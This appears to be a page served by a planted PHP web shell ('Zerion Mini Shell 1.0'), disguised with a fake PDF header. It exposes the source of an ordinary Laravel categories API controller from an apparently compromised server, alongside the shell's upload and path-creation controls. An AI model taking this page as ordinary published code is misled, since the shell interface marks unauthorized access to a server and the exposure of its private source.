%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Http/Controllers/Api/v1/CategoriesController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Categories\CreateCategoryRequest;
use App\Http\Requests\Api\v1\Categories\UpdateCategoryRequest;
use App\Models\Category;
use App\Transformers\CategoryTransformer;
use Illuminate\Http\Request;

class CategoriesController extends ApiController
{
    /**
     * @var CategoryTransformer
     */
    private $transformer;

    /**
     * CategoriesController constructor.
     * @param CategoryTransformer $transformer
     */
    public function __construct(CategoryTransformer $transformer)
    {
        $this->transformer = $transformer;
    }

    public function index(Request $request)
    {
        $categories = Category::query()
                              ->paginate($request->get('perPage'));
        return $this->withPaginated($categories, $this->transformer);
    }

    public function show(Category $category)
    {
        return $this->item($category, $this->transformer);
    }

    public function store(CreateCategoryRequest $request)
    {
        $data = $request->only([
            'slug',
            'name',
            'color',
        ]);
        $category = Category::createItem($data);
        return $this->item($category, $this->transformer);
    }

    public function update(UpdateCategoryRequest $request, Category $category)
    {
        $data = $request->only([
            'slug',
            'name',
            'color',
        ]);
        $category->updateItem($data);
        return $this->item($category, $this->transformer);
    }

    public function destroy(Category $category)
    {
        try {
            $category->delete();
            return response()->json([], 204);
        } catch (\Exception $exception) {
            return $this->wrongArguments([
                'message' => $exception->getMessage(),
            ]);
        }
    }

}

Zerion Mini Shell 1.0